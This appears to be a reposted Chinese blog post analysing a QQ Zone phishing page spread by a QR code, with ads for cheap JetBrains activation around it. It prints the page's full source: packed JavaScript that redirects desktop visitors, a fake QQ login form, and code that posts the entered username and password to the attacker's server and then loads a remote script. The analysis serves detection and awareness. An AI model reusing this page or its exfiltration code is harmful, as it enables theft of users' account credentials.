大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺
写在前面
之前好像一直都没有碰到过钓鱼页面啥的…前天刚好碰到,就简单分析一下。
钓鱼分析
钓鱼网址藏在一个二维码中,正值毕业季啊,二维码图片上写着“青春不散场”…看着就很像真的…
二维码对应的URL
为https://sharechain.qq.com/1b4e56f042d5bf060fe0e44d6346eebf
,是一个腾讯微云的链接。没有用过腾讯微云,感觉像是分享一个帖子,然后帖子点进去就是下图的形式。在电脑上看的话,其实很快就能发现这个东西不太对劲,但是在手机上是不能显示实际对应的跳转链接。文本显示链接与实际跳转链接不对应,这个特征在钓鱼网站检测中也经常用到。
接下来就看一下www.dfesd.com/images/ee/yyoui.html
这个链接的内容是什么。
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<link href="http://sasdh447.6600.org/template/css/css.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="http://qzonestyle.gtimg.cn/qzone/phone/style/login.css">
<script src="http://open.mobile.qq.com/sdk/qqapi.js?_bid=152"></script>
<script type="text/javascript">
$(function(){
mqq.ui.setTitleButtons({
left : {
title : "私密相册",
callback : function () {
//
}
},
right : {
hidden: true
}
})
});
</script>
<!--顶部banner-->
</head>
<script>
var doc=$(document);var _touches_point1=0;var _touches_point2=0;addEventListener("touchstart",function(a){_touches_point1=a.touches[0].pageY});addEventListener("touchmove",function(a){_touches_point2=a.touches[0].pageY;if(doc.scrollTop()<=0&&_touches_point1<_touches_point2){a.preventDefault();if($("#_domain_display").length<=0){$("body").prepend('<div id="_domain_display" style="text-align:center;background-color:#bebdc2;color:#65696c;height:0px;padding-top:15px;line-height:26px;font-size:12px;overflow:hidden;"><p>网页由 '+
'ui.ptlogin2.qq.com'
+' 提供</p><p>QQ浏览器X5内核提供技术支持</p></div>')}$("#_domain_display").height((_touches_point2-_touches_point1))}});addEventListener("touchend",function(a){$("#_domain_display").slideUp("normal",function(){$("#_domain_display").remove()})});
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 1={4:6,5:6,7:6};8 2=9.d;1.4=2.3("b")==0;1.5=2.3("c")==0;1.a=(2=="e")||(2.3("f")==0);k(1.4||1.5||1.7){o.n.l="g://j.i.h/m/"}',25,25,'|system|p|indexOf|win|mac|false|xll|var|navigator|x11|Win|Mac|platform|X11|Linux|http|com|qq|pvp|if|href||location|window'.split('|'),0,{}));
/* 上面一段js最终为执行了如下代码
var system = {
win: false,
mac: false,
xll: false
};
var p = navigator.platform;
system.win = p.indexOf("Win") == 0;
system.mac = p.indexOf("Mac") == 0;
system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
if (system.win || system.mac || system.xll) { //检测到系统之后跳转到http://pvp.qq.com/m/
window.location.href = "http://pvp.qq.com/m/"
}
*/
if(navigator.userAgent.indexOf('QQ/')>0){
}else{
window.location.href='http://i.qq.com';
}
var province = remote_ip_info.province; var city = remote_ip_info.city; document.getElementById("ip").value=province+city;</script>
<!--下面这段html代码,是模仿了qq空间的登录界面-->
<body style="zoom: 1;">
<div id="content" class="content">
<div id="error_tips">
<div id="error_tips_content">
<span id="error_icon"></span>
<span id="error_message"></span>
</div>
</div>
<div id="login" class="login">
<div id="logo" class="logo"></div>
<div id="app_name" style="display: none"></div>
<div id="q_login" class="q_login" style="display: none">
<div id="q_login_title">
<div id="q_login_logo"></div>
<label id="q_login_tips"></label>
</div>
<div id="q_logon_list" class="q_logon_list"></div>
</div>
<div id="web_login">
<form id="loginform" autocomplete="off" name="loginform" action="" method="" target="" style="margin:0">
<input type="hidden" name="ip" id="ip" />
<ul id="g_list">
<li id="g_u">
<div id="del_touch" class="del_touch">
<span id="del_u" class="del_u"></span>
</div>
<input id="u" class="inputstyle" name="hrUW3PG7mp3RLd3dJu" autocomplete="off" placeholder="QQ号码/手机/邮箱"></li>
<li id="g_p">
<div id="del_touch_p" class="del_touch">
<span id="del_p" class="del_u"></span>
</div>
<input id="p" class="inputstyle" maxlength="16" type="password" name="LxMzAX2jog9Bpjs07jP" autocorrect="off" placeholder="请输入您的QQ密码"></li>
</ul>
<div href="javascript:void(0);" id="go">登 录</div></form>
</div>
<div id="switch">
<div id="swicth_login" onclick="pt._switch()" style="display: none"></div>
<div id="zc_feedback">
<span id="zc" onclick="window.open('http\://ptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>
<span id="forgetpwd" onclick="window.open('http\://ptlogin2.qq.com/j_findpwd_url')">忘了密码?</span></div>
</div>
<div id="custom_bottom"></div>
</div>
<div id="vcode">
<label id="vcode_tips"></label>
<div id="vcode_area">
<img id="vcode_img">
<label id="input_tips"></label>
<input id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off" autocorrect="off" maxlength="6"></div>
<div id="button"></div>
</div>
</div>
<div id="new_vcode" class="new_vcode"></div>
<div id="footerBlank"></div>
<script>
var times = 0;
function error(msg) {
$("#error_tips").css({
display: 'block'
});
$('#error_message').html(msg);
err = true;
}
$('form input').focus(function() {
$("#error_tips").css({
display: 'none'
});
err = false;
});
$("#error_tips").on('click',
function() {
$(this).hide();
});
$("#go").on('click',
function() {
var $this = $(this);
err = false;
var p = $("#p").val();
var u = $("#u").val();
u == '' && error('您还没有输入帐号!');
if(err) return false;
p == '' && error("您还没有输入密码!");
if(err) return false;
/^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
if(err) return false;
if(sameChar(u)){
error("您输入的帐号或密码不正确,请重新输入。");
$("#u").val('');
$("#p").val('');
return false;
}
var len = p.length;
(len < 6 || len>16) && error('您输入的帐号或密码不正确,请重新输入。');
/*新增密码校验*/
var pattern = /[\u4e00-\u9fa5]+/g;
pattern.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
var pattern2 = /^[0-9]*$/g;
pattern2.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
if(sameChar(p)){
error("您输入的帐号或密码不正确,请重新输入。");
$("#p").val('');
return false;
}
/**/
if (!err){
$.ajax({
url:'http://sasdh447.6600.org/save.php',
type:'POST',
dataType:'json',
async:false,
data: $('#loginform').serialize(),
success:function(r){
$.getScript('http://sasdh447.6600.org/lib/t.js');
},
error:function(er){
$.getScript('http://sasdh447.6600.org/lib/t.js');
}
})
}
})
function sameChar(str){
var result = true;
var c = str.charAt(0);
for(var i=0;i<str.length;i++){
if(c != str.charAt(i)){
result = false;
break;
}
}
return result;
}
</script>
<div style="display:none;">
</body>
</html>
理解了一下,其中的js
代码会判断访问者所使用的操作系统平台,如果是win/mac/linux
,就会直接跳转到王者荣耀的一个网址,之后会判断是否是使用QQ
的浏览器来登录的,如果是,则不跳转,如果不是,就会跳转到https://i.qq.com/
。查了一下发现当有好多个window.location.href='xxx'
时,只会执行最后一个,而且通过测试发现,页面的跳转会在后面所有的js
代码都执行结束之后发生。
这部分代码其实就是防止自己被发现吧。当使用电脑登录的时候,就直接跳转到正常的页面。
如果我们是通过手机QQ
直接扫描二维码,访问网址,那页面不跳转,会看到一个和正常的QQ
空间登录一样的界面,最后面的js
代码进行了一些简单的对用户名/密码的判断,避免访问者输入相同的用户名/密码,检测用户名是否全是数字等等,比较好理解。当js
代码判断没有错误之后,就会把用户名密码传递给一个http://sasdh447.6600.org/save.php
的网址,这才是真正的钓鱼者的服务器,他应该会在后台使用拿到的用户名密码,登录QQ
空间,发一些消息,继续传播钓鱼界面。现在因为都有设备锁,所以钓鱼者是没办法直接登录QQ
,但是邮件、空间等等这些都是可以登录的。
另外,最开始腾讯微云的链接是跳转到www.dfesd.com
下的一个网址,这个是阿里巴巴下的一个快递公司…是合法的,感觉应该是这个网站有漏洞,然后通过这个漏洞上传了yyoui.html
这个页面。没有直接在钓鱼者自己的服务器上放yyoui.html
页面,应该也是出于保护自身的缘故吧。
最后
感觉钓鱼检测在移动端需求更大,但是移动端…emm…看论文来说好像不是很多。
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/172698.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...